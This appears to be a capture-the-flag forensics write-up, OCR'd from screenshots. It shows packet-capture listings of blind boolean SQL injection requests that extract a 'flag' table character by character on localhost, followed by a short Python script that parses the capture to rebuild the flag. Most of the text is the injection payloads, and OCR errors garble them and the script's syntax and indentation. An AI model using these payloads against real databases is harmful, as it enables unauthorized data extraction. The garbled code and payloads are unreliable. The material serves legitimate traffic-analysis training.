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25 4.948308 127.8.8.1 127.8.68.1 TCP 56 62988 + Bl [ACK] Segq=1 Ack=1 Win=488256 Len=08 TSval=175168831..
26 4.948314 127.9.68.1 127.9.6.1 TCP 56 [TCP Window Update] 81 -+ 629808 [ACK] Seg=1 Ack=1 Win=488256 L..
27 4.948331 127.8.8.1 127.8.8.1 HTTP 286 GET /?id=1'%2Band¥2Bascii(substring((select%28keyid%28fromi%26..
28 4.948336 127.8.8.1 127.8.0.1 TCP 56 81 - 62980 [ACK] Segq=1 Ack=231 Win=488864 Len=8 TSval=1751608..
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Null/lLoopback

> Frame 27: 286 bytes on wire (2288 bits), 286 bytes captured (2288 bits) on interface lo@, id @

» Internet Protocol Version 4, Src: 127.8.8.1, Dst: 127.8.8.1
» Transmission Control Protocol, Src Port: 62988, Dst Port: 81, Seq: 1, Ack: 1, Len: 230

-~ GET /?id=1'%2Band¥2Bascii(substring((select¥28keyidX28from¥20flag®201imit%208,1),1,1))=32%23 HTTP/1.1\r\n
Host: localhost:81%\r\n
Connection: keep-alive\r\n

Accept-Encoding:
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gzip, deflate\r\n

id=1"'%20and%20@ascii(substring((select’%20keyid’%20from%20flag’201imit%200,1),1,1))=32%23
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text/html 492 bytes
text/html| 492 bytes
text/html 492 bytes
text/html| 492 bytes
text/html 492 bytes
text/html| 492 bytes
text/html 492 bytes
text/html| 492 bytes
text/html 518 bytes
text/html| 492 bytes
text/html 492 bytes
text/html| 492 bytes
text/html 492 bytes
text/html| 492 bytes
text/html 492 bytes
text/html| 492 bytes
text/html 492 bytes
text/html| 492 bytes
text/html 492 bytes
text/html| 492 bytes
text/html 492 bytes
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?id=1'"%20and%20ascii(substring((select¥:20keyid%20from%20flag%20limit36200,1),1,1))=94%23
?id=1'%20and%20ascii(substring((select320keyid%20from%620flag%e20limit36200,1),1,17)=95%23
?id=1'"%20and%20ascii(substring((select3:20keyid%20from%20flag%20limit36200,1),1,1))=96%23
?id=1'%20and%20ascii(substring((select3:20keyid%20from%620flag%20limit36200,1),1,17)=97%23
?id=1'"%20and%20ascii(substring((select3:20keyid%20from%20flag%20limit36200,1),1,1))=98%23
?id=1'%20and%20ascii(substring((select320keyid%20from%620flag%e20limit36200,1),1,17)=99%23
?id=1'"%20and%20ascii(substring((select3:20keyid%20from%20flag%20limit36200,1),1,11)=100%:23
?id=1'9%20and%20ascii(substring((select3:20keyid%20from%:20flag%20limit3:200,1),1,1))=101%:23
?id=1'"%20and%20ascii(substring((select3:20keyid%20from%20flag%20limit36200,1),1,11)=102%:23
?id=1'%20and%20ascii(substring((select320keyid%20from%620flag%e20limit36200,1),2,11)=32%23
?id=1'"%20and%20ascii(substring((select3:20keyid%:20from%20flag%20limit36200,1),2,11)=33%23
?id=1'%20and%20ascii(substring((select3:20keyid%20from%620flag%e20limit36200,1),2,17)=34%23
?id=1'"%20and%20ascii(substring((select3:20keyid%20from%20flag%20limit36200,1),2,1))=35%23
?id=1'%20and%20ascii(substring((select3:20keyid%20from%620flag%e20limit36200,1),2,171=36%23
?id=1'"%20and%20ascii(substring((select3:20keyid%20from%20flag%20limit36200,1),2,1))=37%23
?id=1'%20and%20ascii(substring((select3:20keyid%20from%620flag%e20limit36200,1),2,17)=38%23
?id=1'"%20and%20ascii(substring((select3:20keyid%20from%20flag%20limit36200,1),2,1))=39%23
?id=1'%20and%20ascii(substring((select3:20keyid%20from%620flag%e20limit36200,1),2,17)=40%23
?id=1'"%20and%20ascii(substring((select3:20keyid%20from%20flag%20limit36200,1),2,1))=41%23
?id=1'%20and%20ascii(substring((select3:20keyid%20from%620flag%e20limit36200,1),2,17)=42%23
?id=1'"%20and%20ascii(substring((select¥:20keyid%20from%20flag%20limit36200,1),2,1))=43%23
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import re

with open("1l.pcapng", "rb") as f:
contents = f.read()
res = re.compile(r'e,1\), (\d+),1\)\)=(\d+)%23").findall(str(contents))
dic = {}
for a, b in res:
if a in dic:
if int(b) > dic[a]:
dic[a] = int(b)
else:
dic[a] = int(b)
flag = ""
for i in range(1,39):
flag += chr(dic[str(i)])
print(flag)
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